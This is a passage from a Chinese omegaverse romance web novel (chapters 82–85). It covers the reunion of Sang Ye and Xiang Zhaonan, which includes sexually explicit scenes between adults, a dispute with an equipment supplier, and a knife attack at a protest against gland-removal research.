这房子是桑也出生起就和桑家人一起居住的地方,一直到四年前桑氏地产出事,房子被迫法拍。 只是没想到竟然被相召南拍下了,连指纹密码都没有改。 法拍可不容易。 穿过一楼,走上楼梯,一路看来,所有家具的布局和桑也记忆里完全一致,纹丝未动。 最后,他在二楼的一个房间外停下脚步。 是他的房间。 他闻不到信息素,没办法感知相召南的位置。 但直觉告诉他,相召南在这里。 房门只是合上,没有反锁。 桑也握住门把手,有些踌躇不定,半晌才用力一压,旋动门把手,打开了房门。 床品混乱,白色床单满是褶皱,床被更是堆成一团,凌乱不堪。 没见到人。 桑也小心地抬腿,轻巧放下,没有发出什么声音。 目光向四周扫视,最后落在他的衣柜里。 衣柜不大,只有六十厘米深,平时挂一些常穿的衣服,别的都由阿姨收好挂在隔壁衣帽间里。 现在,这个推拉门的衣柜半掩着。 桑也屏住呼吸,猛地一推。 果然看见了躲在衣服堆里的相召南。 大堆大堆桑也的衣服,在他身下,身上,怀里,像是恶龙安眠于收集在山洞里的稀世珍宝当中。 只是他的神色并不安宁,眉目紧皱,被巨大的推拉门撞击声吸引,他抬起头来,露出红了的眼眶,健硕的胳膊用力,不自觉地抱紧了衣服,似乎害怕闯入者将他的宝贝抢走。 ——他在筑巢。 第82章 桑也眸光微动, 还没作出反应,就见相召南突然从衣柜里起身,朝着自己扑来。 没有料到易感期的Alpha竟然还有这么大的力气, 桑也一时闪避不及, 被相召南生生撞到墙上。 好歹是后背被相召南用肌肉突起的手臂垫着, 才免了一场脊背和墙壁的生硬撞击。 相召南在他的耳根出呼出黏糊糊的热息, 声音似乎有些委屈:“你终于来了。” 桑也比相召南身量小一些,被神志不清的相召南笼罩着, 推搡了几下, 毫无动静。 体型差距带来的无力感让他焦躁,却又只能只能恶狠狠地威胁:“滚开, 否则……” 话没说完, 就被相召南擒住柔软双唇,用力地舔舐。 像一头饥肠辘辘的野兽, 浑身散发着耐心将尽的恶劣, 毫无章法地在桑也的口腔内索取食物。 水蛇一般灵活的舌绞着桑也的软舌,扫过他的齿缝,玩弄他的舌根, 反复吮吸,强迫桑也两颊的洇红软肉交出储存的甜液。 粗粝的大掌在桑也的腰窝上来回碾压, 摩擦出热度, 炙烤得他差点忘了自己身在何处。 一点点水液渗出来, 便尽数被相召南含住, 但桑也那里太敏感了, 没一会他嘴里就全是晶莹的液体,连相召南不停吸食的速度都赶不上他。 涎水从桑也的湿红的唇角溢了出来。 难堪。 相召南对他的身体太熟悉了,对如何让他出丑这件事了如指掌。 也就是失去了腺体, 敏感度有所下降,否则他还会在相召南手下表现出一些更难以启齿的龌龊行径。 桑也深深闭上了眼。 等他再睁开眼,相召南握住他肩膀,两眼发红,却不再像方才那样失去理智。 桑也的右手还握着抑制剂,针管里的液体已经隔着睡袍全部注入了相召南的腺体。 痛感唤醒了相召南。 他呢喃:“不是梦啊……”又低下头,把脸埋进桑也的颈肩,用自己湿湿的头发去刮蹭桑也娇嫩的肌肤,“我去寺庙祈祷,求你再眷顾我一次,可你总不肯来我梦里。” 桑也没去计较为什么比起真人,他更想要桑也出现在他梦里,只是掐着他的脖子,抬手抹了一下自己的唇边。 “你该庆幸,这回我手里拿的是抑制剂,而不是剪刀。” “嗯。” 桑也心口钻出一股无名火,径直甩了他一巴掌,继而两手推着相召南的胸口,想要把他推开。 却被相召南揽着腰顺势带到床上,沉重的身躯压在他身上,让他有些喘不过气来。 “起开!” “让我抱一会,就一会,求你了桑也……” 桑也不知何时相召南竟然也变得这样厚颜无耻,竟然用低低的沉沉的看家狗被主人遗弃一样委屈的声音说出这种话。 一时间愣住,没有反应。 “桑也,我后悔了,我……不能没有你。” 一滴什么东西砸到了桑也的眼皮上,滚烫。 桑也歪了歪头,那滚烫的东西便顺着他的眼皮滑下去,被白色的床单吸收掉,剩下一个浅灰色的水印。 他冷声道:“上一次你坚持了三年,这次,一年没到你就要坚持不下去了么。” “不……桑也,别这样说……” 相召南又把头埋进桑也的身体里,用温热的躯体遮挡他罕见的脆弱神色。 易感期对他的影响不亚于寻常Alpha,甚至更猛烈。 “是我太天真了,我以为只要不去见你,就能控制住不去想你。可是想你的冲动根本控制不住。” 相召南难得说这么多话,像是真的分不清现实和梦境,还拿桑也当梦中人,被易感期打开了话匣子,密匝匝的话跟不要钱一样。 “在我办公的时候,复健的时候,晚上躺在床上失眠的时候,你的身影,你身上甜滋滋的柑橘香气,无处不在,难以忽视,可当我睁开眼——你又不在。” 失落的感觉如同从高空中坠落,让他从头到脚都陷入难过的情绪。 “桑也,我快要疯了……” “那你疯好了。” 桑也强行镇定下来,但话音末尾已经透露出他在伪装。 和表面的镇静不同的是,桑也内心同样波涛翻涌。 他真的不明白,为什么有人被爱时无动于衷,失去了才追悔莫及。 不给人喘息般地表达自己晚来的爱意。 相召南不说话,死寂一般的卧室里只有两个人的喘息声,此起彼伏,像流动的水,静静的,溶溶的,却把桑也逼到了极点。 “相召南,你怎么不去死。” “讨厌你,我恨死你了……” 相召南含住桑也眼角滚落下来的泪珠,再也说不出恨我吧这种话,他根本没有那么大度,根本不想桑也恨他,他要桑也爱他。 “可我死了你也不会得到解脱,桑也,承认吧。” 两个人的泪液相融,像过去水乳相容一样密不可分。 桑也当然清楚,那毫无理由的爱与恨,如同面粉兑水一样揉成一团,堵住他的口,他的喉咙,他的胸腔,让他痛苦不堪,又难以抽身。 他再清楚不过! 急促的呼吸和嗫嚅的唇瓣无一不彰显着这一点。 最后,他眼里闪过一丝诡异的光,眼球迟钝地转了一转。 “你顶到我了。”他突然说了句,在凝重的氛围中显得格外突兀,随后伸手握住了相召南。 相召南赫然看向桑也的双目,那双棕色的眸子里布满了天真无邪的疑问,和恶劣的玩弄。 与那个雨夜一样。 “你,我……”相召南的话堵在喉口,他感受到有只手像摆弄玩具一样摆弄着它。 …… 相召南禁欲了四年,连自己动手的次数都屈指可数,最后的结果就是他在桑也手下根本撑不过半个小时。 二人的姿势从原本的相召南压着桑也,变成桑也跨坐在相召南身上,正好方便了他使坏。 快到的时候被桑也的大拇指用力堵住,相召南顿时感到不上不下,喘着粗气,硬生生把那股冲动憋了回去。 五分钟后,相召南喉头滚动,发出沉闷的喘息声,大掌圈住桑也的腰,正欲揽回主动权。 结果桑也又故技重施,细软的手刮过,堵住,让相召南仿佛在云端被人拽下来。 第三次桑也再次伸手的时候,相召南终于是忍不住,囚住讨嫌的手,厉声喊了句:“桑也!” 立马低声求饶:“桑也,你行行好……” 浑身血液烧得滚烫,爱欲翻涌,连声音都低哑得仿佛被火烧过喉咙。 桑也闷闷地笑了两声,胸腔震动,连带着整个身体都微颤着,密密麻麻的战栗传送到相召南身上。 “好啊。” 没等相召南反应过来,他迅速使坏,片刻后听到相召南一声叹息。 被相召南整个人揽入怀里,桑也抽出手来,在他腹肌上抹了一下,指甲在肌肤上划出一道红痕,“你的脏东西,还给你。” 相召南看进那双棕眸,不见半点情欲,只有满腔戏耍和得意。又垂眸,看着桑也胯间,平坦毫无异样。 他刚从极端的快乐中得到释放,现在却又仿佛被人掐着喉咙难以呼吸。 比起桑也嘴上说着恨他讨厌他,桑也身体的平静更让相召南痛难自抑。 相召南试探地探手。 “我帮你。” 桑也从床上下来,衣衫整洁,连一点褶皱都没有。 “不必了。要感谢我,就把这房子卖给我。” 相召南腰腹用力,坐起身来。 “你要房子的话随时可以过户。” 他不动声色地握了握拳,如果房子被桑也要回去,他就再也找不到有如此浓郁的桑也的生活气息的住所了,也找不到易感期的蜗居之地了。 但桑也想要,他拒绝不了。 桑也掀起眼皮,睨了他一眼:“明天我让助理去相氏签合同,市场价。” “现在清醒了?” 相召南嗯了一声。 “清醒了就自己去相氏干活。”桑也勾着唇,露出一抹嘲讽的笑,“先前不是视公司如命么?怎么,现在不这样想了?” 相召南脸色表情维持不住了。 如鲠在喉,说不出话。 …… 傍晚,桑守安从公司回到海风府,桑也在一楼客厅等他。 桌上放了碟猕猴桃果切,他有一搭没一搭地吃着。 见大哥回家,便打了个响指。 桑守安脱下西服外套,挂在客厅的衣帽架上,坐在桑也身边的沙发上,用剩下的粉色水果签叉了一块猕猴桃放入口中。 “怎么样?” 桑也一五一十把从楚方明口中得到的信息转述给桑守安——到楚方明解释原因为止,后面关于桑家人的讨论被他隐瞒。 “总之,他不希望你一声不吭地付出,还不接受他同样爱你这回事。” 桑守安神色有些复杂,最后叹了口气,“我知道了。” “我会找个时间跟他好好谈谈的。” 说完就要上楼。 又被桑也叫住。 “哥。” 桑守安回头。 桑也问:“为什么明明你们之间的矛盾一两句话就说得清楚,也不存在谁藏着掖着不肯说的情况,还是僵持了这么久呢?” 他实在不解。 就像他不明白为什么相召南几年前要那样对他一样。 桑守安和桑也长得有几分相似,但眼眸偏长,脸型也更锐气。 他张了张口,纠结许久,才缓缓道:“耶耶,有些话,跟同事下属说得,跟亲朋好友说得,甚至跟陌生人也说得,唯独……对相爱的人说不出口。” 尊严,责任,将人拽进泥潭,连抬腿迈步向爱的人走去都格外费劲。 “这样啊……” 窗外的月亮明亮如炽,薄纱的窗帘难以阻挡如此清亮的光芒,将卧室照得恍如白日。 阿姨早早休息,桑守安听了桑也的话后会自己房间待了一会,又穿好衣服下楼出了门,一直没有回来。 而桑也,被雪白的被子包裹着,久久未眠。 最后,他侧躺着,弓起后背,探手到身下。 月光将他床被下单薄的身形勾勒得如同油画,细碎的黑发沾上了薄薄的汗液,轻巧地贴在额角,白天咬破的粉唇微微张开,吐出热气。 良久,屋内传出短促的一声。 屋外的寒鸦如同惊弓之鸟,发出粗哑的叫声,扇动翅膀,离开了栖息的枝桠。 枝桠久久地颤着。 第83章 曾负距离接触过的人重逢时, 身体比心靠得更近。 桑也伸出手的那一刹那,就注定了和相召南的纠缠无止无分。 浴室里没有开灯,只有硕大的镜子反射着一点月光。 干湿隔离的布局使得镜面滴水未沾, 也没有蒙上一层水雾, 让桑也看得清楚自己又干又红的双眼。 他本来是冲完冷水准备来穿衣的, 却在镜前站了进半个小时。 大脑空空荡荡的, 什么也没想,什么也想不出, 就这样安安静静悄无声息地站着。 直到窗外传来车辆驶过的嗡鸣声, 最后停在他家的院子里,发动机停止工作, 有人进来了。 桑也才取下丝绸睡袍, 挂在肩头,边走边系上腰带, 回到床上躺下。 失眠的结果就是第二天起床后眼睛干涩难受, 脑子晕乎乎的,走路都好像在飞。 按理说他作为老板,没有硬性的工作要求, 睡得不好白天再多睡会也没事,偏偏公司又出了两件大事。 第一个就是实验仪器的问题。 那天从被大哥从山洞里背着离开, 他回头看见齐橘拷着手铐, 被警察压着, 腰背弯曲, 头却抬着, 用蛇鼠般难以形容的眼神盯着自己。 等齐橘被警察压着从他身边而过,桑也缓缓道:“我会继续做腺体后遗症研究,这一点, 不会因为受到谁的投资、谁的斥责而改变。” 他说到做到。 实验进展至今,已初见成效。 然而早上,他接到陆让简的电话,说之前跟智融生科预定的两台大型仪器到了交货时间迟迟没有交付,去问了那边的负责人,回复他们天有不测风云,工厂遭了水灾,不可抗力,短时间没办法交货了。 立马就有实验员提出疑问,既然早早遭了水淹,为什么不提前告知他们,这样他们好歹还有时间联系其他公司,现在实验进行到这一步,保质期极短的生物材料都准备齐全了才告诉他们,是不是存心的! 这话让陆让简有了疑虑,打电话跟几个同样从事医疗行业的朋友一问,果然! 那两台仪器根本没有受损,而是被智融生科售卖给了隔壁市的一家公司。 “他们什么意思?”桑也脸色阴沉,先前要大哥去和他们谈话,不欢而散后又邀请他们加入生科协会,加入了却还在搞这出。 陆让简说不知道,只问桑也能不能今天和他一起去隔壁市找智融科技老总谈谈,那仪器这两天必须得到他们手里,否则之前做的那么多准备就功亏一篑了。 桑也应下。 这几台仪器至关重要,但现在临时找国外能够生产这种仪器的生科公司购买完全来不及。 光生产都要两三个月,精密复杂,体量巨大,再加上运输,从海上慢悠悠摇到C国来,黄花菜都凉了。 早上阿姨看他精气神不好,特意给他熬了枸杞银耳羹,刚端上来,桑也搅和搅和两口喝掉就出门了。 给智融科技的老总打了电话,没人接。 订的高铁票在两个小时后,桑也先去实验室接陆让简。 只是没想到就这点功夫居然还能听到点东西。 “听说你没给桑也开药?” “他现在状态怎么样?” “看起来还可以。” “那不就行了。本来心理科很多药都伤脑子,他们这种大人物要是吃出个反应迟钝什么的,遭殃的还是我。” “再说了,解铃还须系铃人,心理疾病,我能治,心病,我治不了。” 陆让简靠在停车库的柱子上,低头看了看自己的鞋。 “现在外面形势不好,我担心他后面会出问题。” 电话那边半晌没有说话。 “应该问题不大,相召南前不久来找我开药的时候说他已经很久没有见过桑也了。只要相召南不出现在桑也面前,基本不会出问题,至于外面的舆论,顶多造成点心理压力,不会引起他之前的应激。” 陆让简啧了一声,肩膀上突然被人拍了一下,他哆嗦一下回头,连忙把电话挂断了。 “下次聊下次聊,桑总来得这么快?” 桑也装作什么也没听见,朝他抬了抬下巴,“上车吧。” 从高铁出站后,二人打了量车,直接到了智融生科本部楼下。 前台见他二人面色不善,赶忙跑到面前问他们有什么事,有没有预约。 “新桑科技,桑也,叫章建能下来,”桑也对前台露出一个看似和善实则让人忍不住咽口水的笑容,“我有点话要跟他说。” 前台立马拨了个电话,挂完电话有些结巴地回复他二人:“章总有事外出了,要不……你们在茶厅坐会?” “要多久?”陆让简拧眉,看了看手表。 前台悻悻笑着:“这个……” 桑也按了按陆让简的肩膀,带着人到茶厅坐着。 陆让简对桑也忍气吞声的行径略感不解,但听见桑也翻看着手机,阎王点卯般细数智融科技接下来的一些大单子,也就明白了。 每一个合作企业的名字吐出口,边上倒茶的Beta就身体颤一下,倒了半天差点把水倒得满桌都是。 “怎么说?” “还成。” 那Beta腿一软,放下茶壶,“两位先生,我、我有点事,先出去一下。” 不到十分钟,章建能便到了茶厅,亲自把桑也和陆让简迎去了会客厅。 只是他看起来脸色不太好。 章建能是个近六十的Alpha,不知道是不是纵欲过度,眼下发青,皮肉松垮,更像是行将就木的八十岁老人。 这人是个老油条,和起稀泥来得心应手。 桑也跟他讲仪器没有按时交付,智融涉嫌违约,他跟桑也讲智融科技在生科领域建树颇多。 桑也跟他讲新桑有意扩大规模,万一和智融科技的单子起了冲突让章建能别计较,他跟桑也讲自己年纪大了不管事,只有些朋友偶尔能喝点小酒。 陆让简不是个脾气火爆的人,成天上手术台的哪有性格急躁的,但遇到章建能,也差点站起来揪着他的衣领把人怼墙上。 好在是被桑也按住,才没有打起来。 “我十分好奇,章总究竟是出于什么样的打算,把原本该交付给新桑的仪器给了其他公司呢?据我所知,那家公司对这两台仪器也并不是特别需要吧?” 桑也按压住心里的火气,逐字逐句质问。 章建能平日里肯定吃得不错,肥头大耳,肚子跟要生产的人差不多大,往沙发上一坐就是一个巨大的坑。 他叉着手,放在自己肚子上,翘起短粗腿,“小桑啊,不是我说你,你看你现在搞的这些什么腺体剜除手术,后遗症药物,还有那什么——腺体再分化?这哪是正经人该研究的东西?” “要我说啊,人这一生最重要的就是学会认命!跟出生家庭一样,分化成什么,就是什么!要是不幸运地分化成Omega了,也就自个认了,该是这么个理,对吧?” “你也就是年纪小,不懂事,走了错路,多经历点磋磨,自然就明白了。” “所以你就来磋磨我了是么。”桑也从齿缝里挤出一句话。 章建能笑了下,“你这话说的,是我磋磨你吗?那明明是整个C国的人都不待见你这项研究。现在网上的舆论情况你也看见了,智融可不能去趟这浑水。” 陆让简:“桑总宣布招募志愿者引起舆论浪潮之前,你们智融就把机器交给了另外的企业,扯什么怕引火上身。” “再说了,真怕惹上麻烦事,当初签合同的时候你怎么不提?不管怎么样,你们必须赶紧把仪器交付给我们,否则我们的损失一定要你们一力承担!” 时间差的事情桑也的确不清楚,要不是陆让简点破,桑也怕是真要被章建能糊弄过去了。 既然不是出事之后才临时改变主意,那就是早有预谋? “当初签订合同的时候,章总怕不是就想这样干了吧?” “我可没这个意思。” “我听出来的就是这个意思。” 桑也的很多事情,都不被看好,但从一接触就想着要给他使绊子,要“磋磨”他的,这还是第一桩。 “既然我和章总谈不拢,那就废话少说,直接谈违约金吧。”桑也看了眼陆让简,他对这段时间的实际支出更加了解。 陆让简会意,“从三个月前签订合同起,新桑的实验材料准备、技术支持、人员支出,十位数起步,单是研究材料就耗费了近十亿,如果仪器在这周不能交付给新桑,所有的准备付之一炬,那么智融要赔偿的金额可不是个小数目,章总确定要这样做吗?” 章建能面不改色:“我们工厂遭了水灾,这是明文规定的不可抗力,赔偿什么?” “年轻人火气别这么大。”他油腻地笑着,好像能从他脸上刮下一碗油炒菜。 桑也脸色难看,实在被章建能这个老不死的气得够呛,但脸上还要装出一副镇定自若的模样。 “可我听说那两台机器在工厂进水之前就转移出去,交给了绿泽。总不能您交付给绿泽的机器是泡过水的?” 章建能不说话,任桑也怎么说,都一副老油条不怕抽的样子。 陆让简踹了一脚桌腿,指着章建能说不出话来。 “新桑这个项目要是做不下去,之后会做什么,也不是我们能预料的,章总你说呢?我看章总手头有好几个大单子,要是工厂进水不好开展生产,不如新桑帮忙缓解缓解压力?正好新桑初出茅庐,要价低廉,我相信章总的合作伙伴们也很乐享其成。” 桑也没说大话,智融手里的确有一些秘密技术,但为了保密,都没有申请专利,谁能说得准新桑会不会突然“突破”了某项技术,成了那些生科仪器的制造厂商呢? 智融无法无天,又凭什么要求新桑遵纪守法。 章建能才笑着说:“你这孩子,说这些。等工厂处理好了水灾,立马就组织给新桑造仪器,还不成吗?” 他本来也就只是想拖延新桑那个鬼项目的时间给他们添添堵而已,要是新桑真挺过去了,他们也没有任何损失。 等新仪器造出来,这项目怕是都要宣告失败了! 他们等不起! 桑也脸色愈发阴沉。 “不必。” 会客厅的门突然打开。 章建能闻声望去,一句“谁让你们擅自进来”的话还没说出口,整个人下意识就站了起来。 “相总,您怎么来了?” 他比相召南大了快一倍岁数,见到相召南却也只能谄媚地喊一句相总。 相召南没看章建能一眼,对着桑也:“不用等了。绿泽那边我已经联系好人让他们今天就把仪器装车送去新桑,明天应该就能到,实验可以继续。” “至于章总,您可以开始生产新桑购买的两台仪器了,新仪器什么时候到新桑手里,旧仪器就什么时候还给绿泽。”相召南慢条斯理道。 “这两台机器算新桑找绿泽借的,新仪器交付的时间,就是智融履行合同的时间。” 章建能又肥又厚的脸肉瞬间垮了下去。 “这……” 明明相召南也是绿泽的投资方,怎么偏就为新桑出头?不是说他俩闹得很不愉快吗! 新仪器? 重新生产? 怎么可能! 那仪器全球用得到的公司都没几个,每台造价过亿,再多生产两台出来,智融上哪找买家去? 绿泽根本就是他暂时安置仪器的一个仓库!人家压根不需要。 他想的也不过是过段时间把原本的两台机器从绿泽那取回来给新桑送去。 现在,相召南嘴皮子一张一合。 他智融科技就得砸进去两三个亿! “既然新桑已经从绿泽哪里拿到仪器了,不如就算这两台仪器是智融交付给新桑的?” 桑也听懂了相召南的算计,立马接话:“这怎么能行?” 他状似为智融和绿泽考虑,“既然绿泽需要,我们新桑必定会早早结束使用,早日归还给绿泽的,不能让绿泽干等着,也希望智融能早日恢复生产才好。” 二人一唱一和,把章建能架起来下不了台。 总之就是要智融再造两台机器出来。 章建能的脸色可谓是乍青乍白,精彩纷呈。 直到桑也和相召南、陆让简走进了电梯,都仿佛还能看见那张脸的滑稽表情。 出了智融公司大楼,桑也一脚踹在路边的石头上,咬着牙:“老东西,仗着年纪大,教训起人来头头是道,真当Alpha身份是个宝吗。” 他打的什么算盘,桑也一清二楚。 跟那些在网上唱衰新桑的Alpha一样,见不得Omega有别的出路,生怕Omega脱离了Alpha的掌控。 要是他这个绊子害得新桑项目无疾而终,怕不是还要跳出来往自己脸上贴金,说是自己高瞻远瞩,早早料到这个项目成不了气候才特意没有交付机器,间接推动了项目失败。 又论断说: “我看Alpha就该和Alpha结婚,毕竟他们最崇拜的是Alpha,最关心的也是Alpha,Omega和Beta从没被他们放在眼里过。” 相召南和陆让简两个Alpha互相看了一眼,纷纷侧头,满脸难以言喻的嫌弃。 桑也看向他俩,又垂眸瞅了眼相召南的腿脚。 “好了?” “基本能走路。”相召南先这样说,又立马补充,“走不了太久。” 桑也哼了一声,“好得还挺快。” 他继续往前走,准备到开阔点的街道去打车返程。 结果相召南一直跟着在他身后。 “你没家要回吗?”桑也停下来。 相召南愣了一下,只说:“我腿脚不方便,一个人不好走……” 脱离了拐杖,相召南重新变得高大起来,却声音微弱,跟个在饲养员手底下不敢张嘴的老虎一样。 桑也深深吸了口气,上他这来装孙子了。 “刚才也算是帮了新桑一个忙吧?我能跟你们一块回S市吗?”他小心翼翼地询问。 桑也脸上有些异样,眼神躲闪。 “刚才的事,多谢了。” 第84章 返程的高铁商务座车厢只有桑也三人, 本来是陆让简买票,相召南不知道为什么热心肠地帮了陆让简的忙,还以为他善心大发了。 等上车, 进了车厢, 桑也才看明白相召南还是一肚子坏水。 商务座一排三个座位, 左边一个, 右边两个并列的,相召南给自己买的右边靠过道的位置, 桑也在靠窗的位置, 陆让简单独坐。 桑也蔑了他一眼,直接走到左边位置坐下, 跟陆让简说了声:“你坐那边。” “好。” 但即使换了位置, 相召南依旧和桑也隔得不远,要是桑也想和陆让简说电话, 总归绕不过相召南。 “腿脚不方便就老实带着助理, 你要是摔在路上,可没人敢扶。” 相召南完全没受桑也夹枪带棒的语气影响,全盘接受, “嗯,他也在车上。” 桑也斜睨他, 没说话。 车程一个半小时, 高铁驶到郊区时, 陆让简谈到新工厂选址的问题。 “之前沈总说他来这边考察过, 位置, 交通和价格都挺合适。” 旧的工厂是桑守安从别人手里接手的现成货,刚起步时使用问题不大,现在产能上来, 规模得不断扩大,旧工厂就显得不太够用了。 “合适的话过段时间就派人来谈谈,沈惟岸做事情我还是放心的。” 啪嗒一声。 中间的相召南不知为何手表脱手而出,掉在了地上,路过的乘务员立马帮他捡起来。 相召南道了谢,拿着那块方形的黑色电子手表,拇指摩挲表盘。 桑也粗粗扫了一眼,表面的玻璃似乎是摔碎了。 “年轻人爱戴的饰品,不适合相总。” 相召南面色一凝,将手表攥到手心,“是吗。” 车厢内安静下来。 陆让简咳嗽了两声,“其实看厂址这事我看还得是大桑总去,毕竟是在房地产耕耘多年的人,眼光肯定比常人好。” “也不见得。忙碌了那么多年不也被一个会议干垮了。” 桑也冷哼。 相召南背部直挺,坐在柔软的座椅上,僵硬得不像话。 陆让简哈哈两声,说了点东山再起的吉祥话,也闭嘴不敢多说了。 桑也盯着左侧的窗外,平旷的道路和无人问津的田地向后疾驰,远处有几幢乡野的住房点缀在地面上,越来越远,最后小成一个个黑点。 手机震了一下,来了消息。 是大哥的助理发来的消息。 刚上车时桑也就给桑守安发了信息问他在哪,没回,又给助理发信息,助理好像也在忙,现在才回他。 【小桑总,我们现在在公司楼底下的大厅这儿,一堆人围着不让走,桑总干脆就地回应网上那些问题了。】 这就是这段时间撞上的第二个问题。 也是绊住桑守安脚、把去智融“协商”这个问题交给桑也独自处理的原因。 前段时间,实验进入尾声,新桑发布了公告,宣布全国范围内招募志愿者,主要接受腺体移除、腺体后遗症靶向药物试用和再分化腺体移植的实验。 在桑也眼中该是喜事一件,却在网上引起了轩然大波。 无数的Alpha声讨新桑,认为新桑罪不可恕。 桑也看过那些视频、评论,里面也有不少的Beta和Omega,这让实验的下一步进展变得异常艰难。 今天早上六点,不知道由谁组织了一场游行,就围绕着新桑科技的办公大楼,要他们给个说话,桑守安不得不一大早就赶了过去。 没想到一直胶着到了现在。 下了高铁,他跟陆让简说:“公司有点事,只能麻烦你自己打车回去了。” 陆让简表示理解。 相召南跟在他们身后,听见了桑也的话,等桑也上了自己的车,也想进去,结果桑也根本没给他上车的机会,直接一脚油门,扬长而去。 他叹了口气,跟陈晦打电话,叫他来接自己。 新桑大楼下水泄不通,桑也在外围停了车,不停地“借过”,才勉强挤到大楼门口,远远能望见桑守安被一群人围堵着。 有个染着黄头发的高个子Alpha冲在前面,义愤填膺: “腺体分化是天命所在,神圣不可侵犯,新桑逆天而行,就不怕遭报应吗?!” “你自己也是Alpha,竟然帮着那群吃我们住我们用我们的娇弱Omega,你还是Alpha吗?!” 桑守安似乎已经疲于应对,略带劳累,“现在是二十一世纪,不是十一世纪,天命是什么?我只知道因为不可选择的腺体分化,以及衍生出来的腺体疾病,不少人受到压迫、折磨,摧毁它才是顺从天道。” “至于我是不是Alpha,跟我的选择又有什么关系?这只和良心、道德和素质有关,与性别无关。” “Alpha的叛徒!”黄头发啐了一口。 桑守安脸上明显出现嫌恶的神情。 从早上到中午,这群人不停歇地重复一些毫无营养的言论,无论新桑怎么回应,他们都像听不懂话一样,油盐不进。 甚至让桑守安产生了一种当初就该置之不理的想法! 此起彼伏的讨伐声,如同翻涌的浪潮,一波未平,一波又起。 嘈杂的大厅里,桑也还听见了一些其他的声音。 “凭什么要Omega剜除腺体,是不是还要强迫Omega植入Alpha腺体?你们这些拜Alpha主义者,都去死!” “才进行一年的实验就敢用在人身上,你们根本没有把人的性命安危放在心上,只想借着AO矛盾捞一笔大钱,沽名钓誉而已!” “这个实验不是助长了那些AA恋和OO恋的风气吗?天哪,我都不敢相信该有多混乱。” 桑也听着,眉头越压越低。 桑守安已经烦躁不已,小幅度地来回踱步,朝大厅门口的保安看了两眼,抬手:“你们……” “诸位!” 一道清冽而干脆的声音打断了所有人的声音。 无数目光射向人群中的桑也,包括桑守安。 他见桑也在人群中出不来,一时担心,又不知道桑也要说些什么,只能暗暗地喊着桑也的名字。 “容我打断大家,发表一下作为项目主理人的一些浅薄看法。” 桑也身上还穿着那一身正装,因为开车时有些热,把外套脱了,现在上身只有一件白色丝绸衬衫,领口解开了两个口子,露出深凹的锁骨窝。 随着他抬手示意众人看向他,揭开袖口的衣袖滑落到手肘出堆叠起来,细白的小臂和一道若隐若现的疤痕成了人群中的焦点。 “首先,我们这个项目的初衷并不是挑起对立,而是为饱受腺体疾病和腺体分化折磨的人群提供自由选择的机会。” 他刚说完第一句话,就有人小声嘀咕:“漂亮话谁不会说。Omega腺体那么美好,出了这个实验,不就是让那些拜Alpha的Omega挖掉自己的Omega腺体摇身一变当Alpha么,亏你原来还是Omega,呸!” “加入Alpha那是人家自己的选择,你管得着吗?要我说,这个项目根本就是打着治病的旗号,鼓励Omega反叛,脱离Alpha的控制,危害社会!” 桑也深吸了一口气,“要不,您二位出去吵一架?吵明白我们到底是帮Alpha还是帮Omega?” 那两个人登时噤声。 “关于刚才那位提出的Omega会不会剜除自己的腺体加入Alpha,我告诉你,不乏有这类人,但是又能怎样呢?这种人你还能指望他因为一个Omega腺体而一心向着Omega吗?” “我还是那句话,新桑尊重每个人的人格,尊重每位实验者的选择。先天赋予的是枷锁,自己选择的才是自由。” “无论是剜除腺体后接受再分化腺体的移植,接受Alpha、Beta抑或是Omega腺体,还是仅仅剜去腺体,不再接受进一步的手术,都是自己的选择。” “至于会不会助长社会‘不良’风气,”桑也感到荒谬,扯着嘴角笑了一下,“什么是坏的,什么是好的,依据是你的一两句话?还是老得掉渣的旧黄历?” “最后,一年就能进展到人体实验的地步,只能说明两件事,一是我们新桑的科研力量十分强劲,二是这个实验本身就不是造飞船那样艰险的难题,只是大家都不敢涉足而已。” “如果我们的实验没有安全保障是不可能得到批示展开志愿者招募的,各位大可放心。” “话说得好听,也没见你们谁自己去做这个实验啊。” “对啊!” 这话像投入干枯山林的烟头,风一吹,瞬间火焰烈烈,桑也说的话仿佛都被风吹散,只有周围人重复的、固执的言语不停在耳边盘桓。 “停止实验!” “停止实验!” 和他们根本讲不通! 桑也被围堵得水泄不通,一道白光闪过,他下意识抬手折了遮眼。 “啊!刀、是刀!” 人群瞬间化作鸟兽向四处散开。 桑也后知后觉睁开眼。 相召南握住那个黄头发的手腕,抬起腿狠狠撞了一下那人的腹部,将人撞得直不起腰! 那人手上瞬间没力,匕首掉在地上,刀刃砸在瓷砖上,将瓷砖砸出来几道裂纹。 桑守安和保安同时冲了过来。 三五个保安把人压住,桑守安拉着桑也的手腕,把他带到五米开外的地方。 “没事吧耶耶?” 桑也心有余悸,缓缓摇头,“没事,他没碰到我。” “这场闹剧到此为止。” 大厅中间,趴在地上的黄头发持刀者脚边站着的相召南,突然出声。 “每个参与实验的志愿者可以获得相氏资助的五百万补贴,如果实验发生意外,志愿者一家人的下半辈子生活由相氏全盘负责。” “当然,这不是重金之下必有勇夫的意思,实验的安全性大家完全没有必要担心。C国人做事讲究以身作则,所以我——” “也会作为志愿者参与实验,接受腺体剜除和再分化腺体移植手术。” 大厅里,但凡是听见了的,无一不哗然。 像开水壶来的滚水,汩汩冒着泡。 第85章 “当初还是该我去当志愿者。” 可惜那时提议, 被大哥一力否决了。 桑守安的办公室内,桑也双腿交叠,斜靠在桑守安的办公桌上, 抱着双臂, 冷脸看着僵持的桑守安和相召南。 “不行!” 桑守安立马说, “耶耶, 你情况特殊,不适合在实验还不确定的情况下再接受手术。” “没有什么特殊不特殊的, 做这个手术, 哪个不特殊?” “但是……” “就这样说定了,等一期实验结束, 我加入二期实验。” 桑守安面露难色, 但又被桑也斩钉截铁的态度堵了回来。 办公室外助理敲门进来,手上拿着一份协议书, 递到桑守安桌上。 “这是给相总准备的志愿实验协议书。” “嗯。”桑守安接过协议书, 简单翻阅了一下,就是之前协商出来大众使用的那一份,只不过将里面的具体信息填写了。 看完, 他抬眸看了眼相召南,没好气地递过去。 相召南看都没看, 直接签了字。 “到时间直接通知我就行。” 助理:“实验室那边的人回消息说会先在您身上提取细胞诱导分化为所需腺体, 正式实验将在三个月之后开展, 他们询问过相总的易感期, 似乎是间隔时间比寻常Alpha更短?那边的意思是, 实验得在相总下一次易感期之后进行。” 相召南嗯了一声,“我知道了。” 一般Alpha的易感期半年一次,但他因为腺体受伤, 易感期每四个月就要来一次,而且比以往更迅疾更猛烈。 桑也听到易感期间隔时间更短,心里跳了一下,难怪他这几天来了易感期。 又迅速别开头,关心他这些做什么。 “为什么这么冲动?我从来没有让你来当这个志愿者。” 